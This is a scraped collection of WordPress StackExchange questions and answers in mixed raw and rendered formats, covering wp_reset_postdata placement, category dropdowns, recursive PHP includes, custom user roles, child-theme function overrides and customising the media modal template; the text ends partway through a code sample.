I've searched for this in the Q&A but I was unable to find it. When I read answers throughout the site I see `wp_reset_postdata()` placed in multiple areas with the `have_posts()` conditional and outside the conditional all together. When I read the documentation on [`wp_reset_postdata()`](https://developer.wordpress.org/reference/functions/wp_reset_postdata/) all it states is: > > After looping through a separate query, this function restores the > $post global to the current post in the main query. > > > with a snippet of: ``` <?php // example args $args = array( 'posts_per_page' => 3 ); // the query $the_query = new WP_Query( $args ); ?> <?php if ( $the_query->have_posts() ) : ?> <!-- start of the secondary loop --> <?php while ( $the_query->have_posts() ) : $the_query->the_post(); ?> <?php the_title(); ?> <?php the_excerpt(); ?> <?php endwhile; ?> <!-- end of the secondary loop --> <!-- put pagination functions here --> <!-- reset the main query loop --> <?php wp_reset_postdata(); ?> <?php else: ?> <p><?php _e( 'Sorry, no posts matched your criteria.' ); ?></p> <?php endif; ?> ``` but when I reference other ways, such as "[How to fix pagination for custom loops?](https://wordpress.stackexchange.com/questions/120407/how-to-fix-pagination-for-custom-loops)" it's after the conditional: ``` // Output custom query loop if ( $custom_query->have_posts() ) : while ( $custom_query->have_posts() ) : $custom_query->the_post(); // Loop output goes here endwhile; endif; // Reset postdata wp_reset_postdata(); ``` Wouldn't it be appropriate to have it afterwards and not within the `have_posts()` conditional because if you do use an else statement the arguments aren't being reset if you do not have posts. So my question is where should `wp_reset_postdata()` go?
**Short version:** As Tom J Nowell said, > > You shouldn't cleanup if there's nothing to clean > > > **Long version:** However, if you put `wp_reset_postdata()` after (or outside) the loop, it would still work perfectly fine. I have used the function in various scenarios, including something like this: ``` dynamic_sidebar( 'main-sidebar' ); wp_reset_postdata(); ``` The reason was that some widget was querying posts without cleaning after itself. Just keep in mind which query you want to reset. In Tom's example, no matter if `wp_reset_postdata` is within the `if` statement or not, once it gets called, you will have problems because it will directly go back to the main post instead of the parent custom loop. What the function does is tell a `WP_Query` object to restore the current post to the global scope. Since it's a function instead of a method, then there is a single object it works with - the global `$wp_query` instance of the `WP_Query` object. If you have custom loops, where you use a newly generated `WP_Query`, you should use the `reset_postdata` method of that query: ``` $pages = new WP_Query( 'post_type=page' ); while( $pages->have_posts() ) { $pages->the_post(); // Page title echo '<h1>'; the_title(); echo '</h1>'; $books = new WP_Query( 'post_type=book&...' ); if( $books->have_posts() ) { while( $books->have_posts() ) { $books->the_post(); // Book title echo '<li>'; the_title(); echo '</li>'; } // Don't go back to the global post, go back to the "page" // wp_reset_postdata(); $pages->reset_postdata(); } // Page content the_content(); } // Finally, reset the main query wp_reset_postdata(); ``` Hope this sums it up :)
267,965
<p>My company had our WordPress website made through <a href="http://www.propertyware.com/" rel="nofollow noreferrer">Propertyware</a> or <a href="https://www.realpage.com/" rel="nofollow noreferrer">Real Page</a>. The issue is, it's a different type of WordPress than others. (We did not realize there were different types.)</p> <p>Our installation will not allow plugins to be used. Is there a way to switch your website to another type of WordPress? </p>
[ { "answer_id": 267937, "author": "Hossein", "author_id": 120345, "author_profile": "https://wordpress.stackexchange.com/users/120345", "pm_score": 0, "selected": false, "text": "<p>Normally I use it outside of <code>if($query-&gt;have_posts())</code> statement. This way you can make sure that even if there is no post, then it will reset the query. I don't have any problem by placing it after (and outside) of <code>if($query-&gt;have_posts())</code> statement.</p>\n" }, { "answer_id": 267942, "author": "Tom J Nowell", "author_id": 736, "author_profile": "https://wordpress.stackexchange.com/users/736", "pm_score": 2, "selected": false, "text": "<p>You did it correctly! <strong>It's the example that's wrong</strong>. Sadly almost all examples of queries have this problem</p>\n\n<p>Normally putting it after the conditional has no ill effects, but when nesting loops it could cause problems in edge cases. For 99.9% of use cases this isn't an issue.</p>\n\n<p>By putting it inside the conditional you've ensured the the postdata is only reset if it was changed.</p>\n\n<p>Consider this edge case:</p>\n\n<pre><code>while( have_posts() ) {\n the_post();\n ... stuff...\n $q = new WP_Query( $args );\n if ( $q-&gt;have_posts() ) {\n while( $q-&gt;have_posts() ) {\n $q-&gt;the_post();\n the_title();\n $related_posts = new WP_Query( $args2 );\n if ( $related_posts-&gt;have_posts() ) {\n while( $related_posts-&gt;have_posts() ) {\n $related_posts-&gt;the_post();\n //\n }\n }\n wp_reset_postdata();\n\n the_content();\n }\n }\n wp_reset_postdata();\n}\n</code></pre>\n\n<p>Here we're doing a nested loop to fetch related posts, but notice what happens if no related posts are found and <code>$related_posts-&gt;have_posts()</code> returns <code>false</code>, the postdata is reset back to that of the main loop, and you get the main queries post content, not that of the <code>$q</code> query</p>\n" }, { "answer_id": 267949, "author": "Radoslav Georgiev", "author_id": 59084, "author_profile": "https://wordpress.stackexchange.com/users/59084", "pm_score": 3, "selected": true, "text": "<p><strong>Short version:</strong></p>\n\n<p>As Tom J Nowell said,</p>\n\n<blockquote>\n <p>You shouldn't cleanup if there's nothing to clean</p>\n</blockquote>\n\n<p><strong>Long version:</strong></p>\n\n<p>However, if you put <code>wp_reset_postdata()</code> after (or outside) the loop, it would still work perfectly fine. I have used the function in various scenarios, including something like this:</p>\n\n<pre><code>dynamic_sidebar( 'main-sidebar' );\nwp_reset_postdata();\n</code></pre>\n\n<p>The reason was that some widget was querying posts without cleaning after itself.</p>\n\n<p>Just keep in mind which query you want to reset. In Tom's example, no matter if <code>wp_reset_postdata</code> is within the <code>if</code> statement or not, once it gets called, you will have problems because it will directly go back to the main post instead of the parent custom loop.</p>\n\n<p>What the function does is tell a <code>WP_Query</code> object to restore the current post to the global scope. Since it's a function instead of a method, then there is a single object it works with - the global <code>$wp_query</code> instance of the <code>WP_Query</code> object.</p>\n\n<p>If you have custom loops, where you use a newly generated <code>WP_Query</code>, you should use the <code>reset_postdata</code> method of that query:</p>\n\n<pre><code>$pages = new WP_Query( 'post_type=page' );\nwhile( $pages-&gt;have_posts() ) {\n $pages-&gt;the_post();\n\n // Page title\n echo '&lt;h1&gt;'; the_title(); echo '&lt;/h1&gt;';\n\n $books = new WP_Query( 'post_type=book&amp;...' );\n if( $books-&gt;have_posts() ) {\n while( $books-&gt;have_posts() ) {\n $books-&gt;the_post();\n\n // Book title\n echo '&lt;li&gt;'; the_title(); echo '&lt;/li&gt;';\n }\n\n // Don't go back to the global post, go back to the \"page\"\n // wp_reset_postdata();\n $pages-&gt;reset_postdata();\n }\n\n // Page content\n the_content();\n}\n\n// Finally, reset the main query\nwp_reset_postdata();\n</code></pre>\n\n<p>Hope this sums it up :)</p>\n" } ]
2017/05/24
[ "https://wordpress.stackexchange.com/questions/267965", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/120365/" ]
My company had our WordPress website made through [Propertyware](http://www.propertyware.com/) or [Real Page](https://www.realpage.com/). The issue is, it's a different type of WordPress than others. (We did not realize there were different types.) Our installation will not allow plugins to be used. Is there a way to switch your website to another type of WordPress?
**Short version:** As Tom J Nowell said, > > You shouldn't cleanup if there's nothing to clean > > > **Long version:** However, if you put `wp_reset_postdata()` after (or outside) the loop, it would still work perfectly fine. I have used the function in various scenarios, including something like this: ``` dynamic_sidebar( 'main-sidebar' ); wp_reset_postdata(); ``` The reason was that some widget was querying posts without cleaning after itself. Just keep in mind which query you want to reset. In Tom's example, no matter if `wp_reset_postdata` is within the `if` statement or not, once it gets called, you will have problems because it will directly go back to the main post instead of the parent custom loop. What the function does is tell a `WP_Query` object to restore the current post to the global scope. Since it's a function instead of a method, then there is a single object it works with - the global `$wp_query` instance of the `WP_Query` object. If you have custom loops, where you use a newly generated `WP_Query`, you should use the `reset_postdata` method of that query: ``` $pages = new WP_Query( 'post_type=page' ); while( $pages->have_posts() ) { $pages->the_post(); // Page title echo '<h1>'; the_title(); echo '</h1>'; $books = new WP_Query( 'post_type=book&...' ); if( $books->have_posts() ) { while( $books->have_posts() ) { $books->the_post(); // Book title echo '<li>'; the_title(); echo '</li>'; } // Don't go back to the global post, go back to the "page" // wp_reset_postdata(); $pages->reset_postdata(); } // Page content the_content(); } // Finally, reset the main query wp_reset_postdata(); ``` Hope this sums it up :)
267,966
<p>I needed to develop a technique to delete some data from the database.</p> <p>The technique will be part of a plugin at some point.</p> <p>For immediate results, I was editing functions.php on my local dev site, placing the necessary commands at the bottom of the file and reloading the page upon saving.</p> <p>Is this considered bad form? </p> <p>If so, what's the recommended method for running small bits of test code as described?</p> <p>Fwiw, here is a link to the code in question: <a href="https://wordpress.stackexchange.com/a/267886/60200">https://wordpress.stackexchange.com/a/267886/60200</a></p>
[ { "answer_id": 267972, "author": "Rarst", "author_id": 847, "author_profile": "https://wordpress.stackexchange.com/users/847", "pm_score": 2, "selected": false, "text": "<p>There is no place in WP that is considered to be purposefully meant for developing and debugging of code.</p>\n\n<p>People can get opinionated on appropriate ways to <em>distribute</em> code (mostly theme vs plugin).</p>\n\n<p>But for private development you can go with pretty much any workflow and code placement that makes sense <em>to you</em>. Personally I use a mix of empty theme and must use plugins.</p>\n" }, { "answer_id": 267975, "author": "Milo", "author_id": 4771, "author_profile": "https://wordpress.stackexchange.com/users/4771", "pm_score": 2, "selected": true, "text": "<p>There isn't really a prescribed way to do this, but it's probably safer to hook an action like <code>init</code> to be sure everything you need is loaded, and then maybe check for some sort of flag so you can control <em>which</em> page loads run your code.</p>\n\n<pre><code>function my_test_func(){\n if( isset( $_GET['do_my_test_thing'] ) ){\n // your code\n }\n}\nadd_action( 'init', 'my_test_func' );\n</code></pre>\n\n<p>Then add <code>?do_my_test_thing=true</code> to the URL to explicitly run your code on that page load.</p>\n" } ]
2017/05/24
[ "https://wordpress.stackexchange.com/questions/267966", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/60200/" ]
I needed to develop a technique to delete some data from the database. The technique will be part of a plugin at some point. For immediate results, I was editing functions.php on my local dev site, placing the necessary commands at the bottom of the file and reloading the page upon saving. Is this considered bad form? If so, what's the recommended method for running small bits of test code as described? Fwiw, here is a link to the code in question: <https://wordpress.stackexchange.com/a/267886/60200>
There isn't really a prescribed way to do this, but it's probably safer to hook an action like `init` to be sure everything you need is loaded, and then maybe check for some sort of flag so you can control *which* page loads run your code. ``` function my_test_func(){ if( isset( $_GET['do_my_test_thing'] ) ){ // your code } } add_action( 'init', 'my_test_func' ); ``` Then add `?do_my_test_thing=true` to the URL to explicitly run your code on that page load.
268,010
<p>I need wordpress category as drop down . So far my code </p> <pre><code>function cat_drop_down(){ $categories_array = array(); $categories = get_categories(); foreach( $categories as $category ){ $categories_array[] = $category-&gt;term_id; } return $categories_array; } </code></pre> <p>This renders drop down perfectly but its not passing the category id . Its rendering html like this</p> <pre><code>&lt;select data-setting="tab_title"&gt; &lt;option value="0"&gt;2&lt;/option&gt; &lt;option value="1"&gt;14&lt;/option&gt; &lt;option value="2"&gt;1&lt;/option&gt; &lt;/select&gt; </code></pre> <p>So I am only getting 0,1,2 values instead of 2,14,1 that category id's. What am I doing wrong?</p>
[ { "answer_id": 268012, "author": "Mehedi_Sharif", "author_id": 107089, "author_profile": "https://wordpress.stackexchange.com/users/107089", "pm_score": 0, "selected": false, "text": "<p>There is a default wordpress function called . It will return all categoris in a list with category id.</p>\n\n<pre><code>wp_list_categories();\n</code></pre>\n" }, { "answer_id": 268016, "author": "Arun", "author_id": 104665, "author_profile": "https://wordpress.stackexchange.com/users/104665", "pm_score": 1, "selected": false, "text": "<pre><code> function cat_drop_down(){\n $categories_array = array();\n $args = array(\n 'type' =&gt; 'post',\n 'child_of' =&gt; 0,\n 'parent' =&gt; '',\n 'orderby' =&gt; 'name',\n 'order' =&gt; 'ASC',\n 'hide_empty' =&gt; false,\n 'hierarchical' =&gt; 1,\n 'exclude' =&gt; '',\n 'include' =&gt; '',\n 'number' =&gt; '',\n 'taxonomy' =&gt; 'category',\n 'pad_counts' =&gt; false\n );\n\n $categories = get_categories($args);\n $i =0;\n foreach( $categories as $category ){\n $categories_array[$i]['id'] = $category-&gt;term_id;\n $categories_array[$i]['name'] = $category-&gt;name;\n $i++;\n }\n return $categories_array;\n }\n\n $cats = cat_drop_down();\n\n\n echo '&lt;select data-setting=\"tab_title\"&gt;';\n foreach($cats as $cat)\n {\n echo \"&lt;option value='\".$cat['id'].\"'&gt;\".$cat['name'].\"&lt;/option&gt;\";\n } \n echo '&lt;/select&gt;';\n</code></pre>\n" }, { "answer_id": 268018, "author": "Frank P. Walentynowicz", "author_id": 32851, "author_profile": "https://wordpress.stackexchange.com/users/32851", "pm_score": 0, "selected": false, "text": "<p>No, you're not doing anything wrong. Your array of category ids is fine. I understand that you're passing this array to page builder, which in turn, builds form's <code>select</code> dropdown. Values 0,1,2 are simply indexes from your <code>$categories_array</code>. If you still have access to your <code>$categories_array</code>, and the value of selected option is 1, then selected <code>$id = $categories_array[1]</code> - which is 14.</p>\n\n<p>If you were to build your select dropdown, instead of your page builder, it could be like this:</p>\n\n<pre><code>&lt;select data-setting=\"tab_title\"&gt; \n &lt;option&gt;2&lt;/option&gt; \n &lt;option&gt;14&lt;/option&gt; \n &lt;option&gt;1&lt;/option&gt; \n&lt;/select&gt;\n</code></pre>\n\n<p>Then you'll get selected category id directly.</p>\n\n<p>If your page builder accepts an array of pairs - id, name, then you'll get select like in @Arun's answer. Of course, you will have to change the code of building your array, to the code suggested by @Arun.</p>\n" }, { "answer_id": 268023, "author": "ashraf", "author_id": 30937, "author_profile": "https://wordpress.stackexchange.com/users/30937", "pm_score": 3, "selected": true, "text": "<p>You are partially correct , you are not passing cat id in your parameter. Try </p>\n\n<pre><code>$categories_array[ $category-&gt;term_id ] = $category-&gt;name;\n</code></pre>\n\n<p>Now you will get category id as drop down value. </p>\n" } ]
2017/05/25
[ "https://wordpress.stackexchange.com/questions/268010", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/48294/" ]
I need wordpress category as drop down . So far my code ``` function cat_drop_down(){ $categories_array = array(); $categories = get_categories(); foreach( $categories as $category ){ $categories_array[] = $category->term_id; } return $categories_array; } ``` This renders drop down perfectly but its not passing the category id . Its rendering html like this ``` <select data-setting="tab_title"> <option value="0">2</option> <option value="1">14</option> <option value="2">1</option> </select> ``` So I am only getting 0,1,2 values instead of 2,14,1 that category id's. What am I doing wrong?
You are partially correct , you are not passing cat id in your parameter. Try ``` $categories_array[ $category->term_id ] = $category->name; ``` Now you will get category id as drop down value.
268,039
<p>My functions.php includes other function files located within a 'functions' directory.</p> <p>Currently they're individually added, in the format of this example:</p> <pre><code>include('functions/login.php'); </code></pre> <p>How can I modify this to include all files within the 'functions' directory, without listing them individually?</p>
[ { "answer_id": 268042, "author": "JItendra Rana", "author_id": 87433, "author_profile": "https://wordpress.stackexchange.com/users/87433", "pm_score": 4, "selected": true, "text": "<p>You can include/require all *.php files recursively using following function.</p>\n\n<pre><code>foreach(glob(get_template_directory() . \"/*.php\") as $file){\n require $file;\n}\n</code></pre>\n\n<p>Alternatively You can use following function as-well.</p>\n\n<pre><code>$Directory = new RecursiveDirectoryIterator(get_template_directory().'functions/');\n$Iterator = new RecursiveIteratorIterator($Directory);\n$Regex = new RegexIterator($Iterator, '/^.+\\.php$/i', RecursiveRegexIterator::GET_MATCH);\n\nforeach($Regex as $yourfiles) {\n include $yourfiles-&gt;getPathname();\n}\n</code></pre>\n\n<p>P.S Got the solution <a href=\"http://www.php.net/manual/en/class.recursivedirectoryiterator.php#97228\" rel=\"nofollow noreferrer\">From Here</a>. </p>\n" }, { "answer_id": 268116, "author": "engza", "author_id": 120452, "author_profile": "https://wordpress.stackexchange.com/users/120452", "pm_score": 2, "selected": false, "text": "<p>Here's how I did it from my functions.php file in WordPress:</p>\n\n<pre><code>/**\n * Functions\n * Require all PHP files in the /functions/ directory\n */\nforeach (glob(get_template_directory() . \"/functions/*.php\") as $function) {\n $function= basename($function);\n require get_template_directory() . '/functions/' . $function;\n}\n</code></pre>\n" } ]
2017/05/25
[ "https://wordpress.stackexchange.com/questions/268039", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/103213/" ]
My functions.php includes other function files located within a 'functions' directory. Currently they're individually added, in the format of this example: ``` include('functions/login.php'); ``` How can I modify this to include all files within the 'functions' directory, without listing them individually?
You can include/require all \*.php files recursively using following function. ``` foreach(glob(get_template_directory() . "/*.php") as $file){ require $file; } ``` Alternatively You can use following function as-well. ``` $Directory = new RecursiveDirectoryIterator(get_template_directory().'functions/'); $Iterator = new RecursiveIteratorIterator($Directory); $Regex = new RegexIterator($Iterator, '/^.+\.php$/i', RecursiveRegexIterator::GET_MATCH); foreach($Regex as $yourfiles) { include $yourfiles->getPathname(); } ``` P.S Got the solution [From Here](http://www.php.net/manual/en/class.recursivedirectoryiterator.php#97228).
268,074
<p>One of our websites includes an online store, which alongside phone sales is one of two ways customers can purchase our products. All of our customer info is stored in a program called Orderwise, which assigns a unique number code to each customer. Now, we've set up the ability to add an Orderwise number to user info on the website, so I've been trying to set up a role which will allow the sales department to get through to the dashboard, but only so they can edit user info and add Orderwise numbers manually, and also view WooCommerce info such as orders. So I created a role with the following capabilities via a plugin;</p> <pre><code>edit_users list_users read read_private_pages read_private_posts read_private_products read_private_shop_coupons read_private_shop_orders read_private_shop_webhooks read_product read_shop_coupon read_shop_order read_shop_webhook view_woocommerce_reports </code></pre> <p>I then assigned this role to a dummy test account and tried logging in with that via <em>/wp-admin</em>. This allowed me to login as a public site user, like our customers can, but not to access the dashboard and edit user info. </p> <p>What capabilities am I missing from my role? Could any of these be conflicting with one another?</p>
[ { "answer_id": 268042, "author": "JItendra Rana", "author_id": 87433, "author_profile": "https://wordpress.stackexchange.com/users/87433", "pm_score": 4, "selected": true, "text": "<p>You can include/require all *.php files recursively using following function.</p>\n\n<pre><code>foreach(glob(get_template_directory() . \"/*.php\") as $file){\n require $file;\n}\n</code></pre>\n\n<p>Alternatively You can use following function as-well.</p>\n\n<pre><code>$Directory = new RecursiveDirectoryIterator(get_template_directory().'functions/');\n$Iterator = new RecursiveIteratorIterator($Directory);\n$Regex = new RegexIterator($Iterator, '/^.+\\.php$/i', RecursiveRegexIterator::GET_MATCH);\n\nforeach($Regex as $yourfiles) {\n include $yourfiles-&gt;getPathname();\n}\n</code></pre>\n\n<p>P.S Got the solution <a href=\"http://www.php.net/manual/en/class.recursivedirectoryiterator.php#97228\" rel=\"nofollow noreferrer\">From Here</a>. </p>\n" }, { "answer_id": 268116, "author": "engza", "author_id": 120452, "author_profile": "https://wordpress.stackexchange.com/users/120452", "pm_score": 2, "selected": false, "text": "<p>Here's how I did it from my functions.php file in WordPress:</p>\n\n<pre><code>/**\n * Functions\n * Require all PHP files in the /functions/ directory\n */\nforeach (glob(get_template_directory() . \"/functions/*.php\") as $function) {\n $function= basename($function);\n require get_template_directory() . '/functions/' . $function;\n}\n</code></pre>\n" } ]
2017/05/25
[ "https://wordpress.stackexchange.com/questions/268074", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/120427/" ]
One of our websites includes an online store, which alongside phone sales is one of two ways customers can purchase our products. All of our customer info is stored in a program called Orderwise, which assigns a unique number code to each customer. Now, we've set up the ability to add an Orderwise number to user info on the website, so I've been trying to set up a role which will allow the sales department to get through to the dashboard, but only so they can edit user info and add Orderwise numbers manually, and also view WooCommerce info such as orders. So I created a role with the following capabilities via a plugin; ``` edit_users list_users read read_private_pages read_private_posts read_private_products read_private_shop_coupons read_private_shop_orders read_private_shop_webhooks read_product read_shop_coupon read_shop_order read_shop_webhook view_woocommerce_reports ``` I then assigned this role to a dummy test account and tried logging in with that via */wp-admin*. This allowed me to login as a public site user, like our customers can, but not to access the dashboard and edit user info. What capabilities am I missing from my role? Could any of these be conflicting with one another?
You can include/require all \*.php files recursively using following function. ``` foreach(glob(get_template_directory() . "/*.php") as $file){ require $file; } ``` Alternatively You can use following function as-well. ``` $Directory = new RecursiveDirectoryIterator(get_template_directory().'functions/'); $Iterator = new RecursiveIteratorIterator($Directory); $Regex = new RegexIterator($Iterator, '/^.+\.php$/i', RecursiveRegexIterator::GET_MATCH); foreach($Regex as $yourfiles) { include $yourfiles->getPathname(); } ``` P.S Got the solution [From Here](http://www.php.net/manual/en/class.recursivedirectoryiterator.php#97228).
268,078
<p>I want to know if I can override a function which is present into the parent theme function.</p> <p>If I redeclare the function into the child theme I am getting function already exist error.</p> <p>So Please guide me how can I define the function with same name in my child theme's functions.php</p>
[ { "answer_id": 268082, "author": "Cedon", "author_id": 80069, "author_profile": "https://wordpress.stackexchange.com/users/80069", "pm_score": 1, "selected": true, "text": "<p>Check the parent theme's <code>functions.php</code>. If properly written to support child themes, each of these functions should be wrapped in a conditional as follows:</p>\n\n<pre><code>if ( ! function_exists( 'theme_setup' ) ) :\nfunction theme_setup() {\n // Parent Theme Setup Function Code\n}\nendif;\nadd_action( 'after_theme_setup', 'theme_setup' );\n</code></pre>\n\n<p>What this does is when the parent theme's <code>functions.php</code> loads after your child theme, it will first check and see if your child theme already declared the function. If it has not, then it will go ahead and define it. Otherwise it will skip the function declaration and move on.</p>\n\n<p>Just remember if you have to manually put these wrappers in, an update to the parent theme will overwrite them.</p>\n" }, { "answer_id": 268083, "author": "Luckyfella", "author_id": 83907, "author_profile": "https://wordpress.stackexchange.com/users/83907", "pm_score": 1, "selected": false, "text": "<p>If you get an error when setting up a function with the same name as in your parent theme then the theme is not prepared for child themes properly. They have to be wrapped with a <code>if ( !functions_exists('...') )</code> check otherwise it won't work out.</p>\n" } ]
2017/05/25
[ "https://wordpress.stackexchange.com/questions/268078", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/60922/" ]
I want to know if I can override a function which is present into the parent theme function. If I redeclare the function into the child theme I am getting function already exist error. So Please guide me how can I define the function with same name in my child theme's functions.php
Check the parent theme's `functions.php`. If properly written to support child themes, each of these functions should be wrapped in a conditional as follows: ``` if ( ! function_exists( 'theme_setup' ) ) : function theme_setup() { // Parent Theme Setup Function Code } endif; add_action( 'after_theme_setup', 'theme_setup' ); ``` What this does is when the parent theme's `functions.php` loads after your child theme, it will first check and see if your child theme already declared the function. If it has not, then it will go ahead and define it. Otherwise it will skip the function declaration and move on. Just remember if you have to manually put these wrappers in, an update to the parent theme will overwrite them.
268,100
<p>I've been searching for a couple of days now so I'll keep my question as short as possible to get out of your ways.</p> <p>What I'm trying to do should be very basic with jQuery (append) I guess but for some strange reason I can't get it done while adding .js to the backend. Also this custom hack is just temporary, until the <a href="https://github.com/WordPress/gutenberg" rel="nofollow noreferrer">Gutenberg editor</a> releases into the core and all this will not be needed anymore.</p> <p><strong>Q</strong>:</p> <p><strong>Simply add a "Hello world!" string to the Image Details modal where the red text on the screenshot(s) below is</strong>.</p> <p>--</p> <p>Screenshots below is a quick summit from what I'm doing.</p> <p><a href="https://i.stack.imgur.com/gShHZ.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/gShHZ.png" alt="enter image description here"></a></p> <p>This Image Details modal pops up when you press <em>Edit</em> image on a single image that is <strong>not</strong> part of your Media Library and doesn't have a Post_ID. Placeholder (URL) images for example.</p> <p>Screenshot nr. 2. This Image Details modal is what you get when you click <em>Edit image</em> on a image that is added to a post the Media Library before. The beautiful <em>Replace</em> button below the preview thumbnail is poking my eyes, I want him, he's my Chuck Norris!</p> <p><a href="https://i.stack.imgur.com/rxQu8.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/rxQu8.png" alt="enter image description here"></a></p>
[ { "answer_id": 268145, "author": "Jack Ottermans", "author_id": 59031, "author_profile": "https://wordpress.stackexchange.com/users/59031", "pm_score": 0, "selected": false, "text": "<p>I'm so ashamed for doing this technique but if nobody <em>(online)</em> wants to help in three days asking all over the place you become somewhat desperate to find solutions. </p>\n\n<pre><code>function hijack_caption_off_filter() {\n\n $shame = '&lt;input type=\"button\" class=\"replace-attachment button my-theme\" value=\"Replace\" /&gt;';\n\n echo $shame;\n\n}\nadd_filter( 'disable_captions', 'hijack_caption_off_filter' );\n</code></pre>\n\n<p>I want to mention that people should <strong>not</strong> do stuff like this. What I did here is, I hijacked a caption boolean filter [True/False] and echoed my button through it just to get him to show up on the media_template.</p>\n" }, { "answer_id": 268157, "author": "Dave Romsey", "author_id": 2807, "author_profile": "https://wordpress.stackexchange.com/users/2807", "pm_score": 3, "selected": true, "text": "<p>Here's an alternative technique to manipulating the template. I adapted the solution below from <a href=\"http://unsalkorkmaz.com/wp3-5-media-gallery-edit-modal-change-captions-to-title/\" rel=\"nofollow noreferrer\">this post</a>.</p>\n\n<p>In the approach below, the <code>print_media_templates</code> hook, which is triggered at the bottom of <code>wp-includes/media-template.php</code>, is used to output some JavaScript that removes the default image details underscores template (<code>&lt;script type=\"text/html\" id=\"tmpl-image-details\"&gt;</code>) and replaces it with a duplicated version which we can modify to suit our needs.</p>\n\n<p>I've added <em>Hello, world!</em> in the modified template, and the <em>Replace</em> button too (more on that in a second). One of the drawbacks of this approach is that if/when the WordPress core is updated, our forked template won't reflect any changes to this particular media template.</p>\n\n<p>Another problem here is that simply adding the button is not enough. You can activate the button by removing the HTML comments (<code>&lt;!--</code> and <code>--&gt;</code>) that I wrapped it in if you want to proceed anyway. Using the standard <em>Replace</em> button on an image that is not part of the media library will trigger an error in the console, but seems to work never-the-less. Ideally, a custom button should be created or the JS controller that handles the <em>Replace</em> button's functionality should be implemented (which I'm not sure how to do).</p>\n\n<pre><code>add_action( 'print_media_templates', 'wpse_print_media_templates' );\nfunction wpse_print_media_templates() { ?&gt;\n &lt;script&gt;\n // Idea via http://unsalkorkmaz.com/wp3-5-media-gallery-edit-modal-change-captions-to-title/\n jQuery( document ).ready( function( $ ){\n jQuery( \"script#tmpl-image-details:first\" ).remove();\n });\n &lt;/script&gt;\n\n &lt;script type=\"text/html\" id=\"tmpl-image-details\"&gt;\n &lt;div class=\"media-embed\"&gt;\n &lt;div class=\"embed-media-settings\"&gt;\n &lt;div class=\"column-image\"&gt;\n &lt;div class=\"image\"&gt;\n &lt;img src=\"{{ data.model.url }}\" draggable=\"false\" alt=\"\" /&gt;\n\n &lt;# if ( data.attachment &amp;&amp; window.imageEdit ) { #&gt;\n &lt;div class=\"actions\"&gt;\n &lt;input type=\"button\" class=\"edit-attachment button\" value=\"&lt;?php esc_attr_e( 'Edit Original' ); ?&gt;\" /&gt;\n &lt;input type=\"button\" class=\"replace-attachment button\" value=\"&lt;?php esc_attr_e( 'Replace' ); ?&gt;\" /&gt;\n &lt;/div&gt;\n &lt;# } else if ( ! data.attachment &amp;&amp; window.imageEdit ) { #&gt;\n &lt;!--\n &lt;div class=\"actions\"&gt;\n &lt;input type=\"button\" class=\"replace-attachment button my-theme\" value=\"&lt;?php esc_attr_e( 'Replace' ); ?&gt;\" /&gt;\n &lt;/div&gt;\n --&gt;\n &lt;# } #&gt;\n &lt;h1&gt;Hello, world!&lt;/h1&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n &lt;div class=\"column-settings\"&gt;\n &lt;?php\n /** This filter is documented in wp-admin/includes/media.php */\n if ( ! apply_filters( 'disable_captions', '' ) ) : ?&gt;\n &lt;label class=\"setting caption\"&gt;\n &lt;span&gt;&lt;?php _e('Caption'); ?&gt;&lt;/span&gt;\n &lt;textarea data-setting=\"caption\"&gt;{{ data.model.caption }}&lt;/textarea&gt;\n &lt;/label&gt;\n &lt;?php endif; ?&gt;\n\n &lt;label class=\"setting alt-text\"&gt;\n &lt;span&gt;&lt;?php _e('Alternative Text'); ?&gt;&lt;/span&gt;\n &lt;input type=\"text\" data-setting=\"alt\" value=\"{{ data.model.alt }}\" /&gt;\n &lt;/label&gt;\n\n &lt;h2&gt;&lt;?php _e( 'Display Settings' ); ?&gt;&lt;/h2&gt;\n &lt;div class=\"setting align\"&gt;\n &lt;span&gt;&lt;?php _e('Align'); ?&gt;&lt;/span&gt;\n &lt;div class=\"button-group button-large\" data-setting=\"align\"&gt;\n &lt;button class=\"button\" value=\"left\"&gt;\n &lt;?php esc_html_e( 'Left' ); ?&gt;\n &lt;/button&gt;\n &lt;button class=\"button\" value=\"center\"&gt;\n &lt;?php esc_html_e( 'Center' ); ?&gt;\n &lt;/button&gt;\n &lt;button class=\"button\" value=\"right\"&gt;\n &lt;?php esc_html_e( 'Right' ); ?&gt;\n &lt;/button&gt;\n &lt;button class=\"button active\" value=\"none\"&gt;\n &lt;?php esc_html_e( 'None' ); ?&gt;\n &lt;/button&gt;\n &lt;/div&gt;\n &lt;/div&gt;\n\n &lt;# if ( data.attachment ) { #&gt;\n &lt;# if ( 'undefined' !== typeof data.attachment.sizes ) { #&gt;\n &lt;label class=\"setting size\"&gt;\n &lt;span&gt;&lt;?php _e('Size'); ?&gt;&lt;/span&gt;\n &lt;select class=\"size\" name=\"size\"\n data-setting=\"size\"\n &lt;# if ( data.userSettings ) { #&gt;\n data-user-setting=\"imgsize\"\n &lt;# } #&gt;&gt;\n &lt;?php\n /** This filter is documented in wp-admin/includes/media.php */\n $sizes = apply_filters( 'image_size_names_choose', array(\n 'thumbnail' =&gt; __('Thumbnail'),\n 'medium' =&gt; __('Medium'),\n 'large' =&gt; __('Large'),\n 'full' =&gt; __('Full Size'),\n ) );\n\n foreach ( $sizes as $value =&gt; $name ) : ?&gt;\n &lt;#\n var size = data.sizes['&lt;?php echo esc_js( $value ); ?&gt;'];\n if ( size ) { #&gt;\n &lt;option value=\"&lt;?php echo esc_attr( $value ); ?&gt;\"&gt;\n &lt;?php echo esc_html( $name ); ?&gt; &amp;ndash; {{ size.width }} &amp;times; {{ size.height }}\n &lt;/option&gt;\n &lt;# } #&gt;\n &lt;?php endforeach; ?&gt;\n &lt;option value=\"&lt;?php echo esc_attr( 'custom' ); ?&gt;\"&gt;\n &lt;?php _e( 'Custom Size' ); ?&gt;\n &lt;/option&gt;\n &lt;/select&gt;\n &lt;/label&gt;\n &lt;# } #&gt;\n &lt;div class=\"custom-size&lt;# if ( data.model.size !== 'custom' ) { #&gt; hidden&lt;# } #&gt;\"&gt;\n 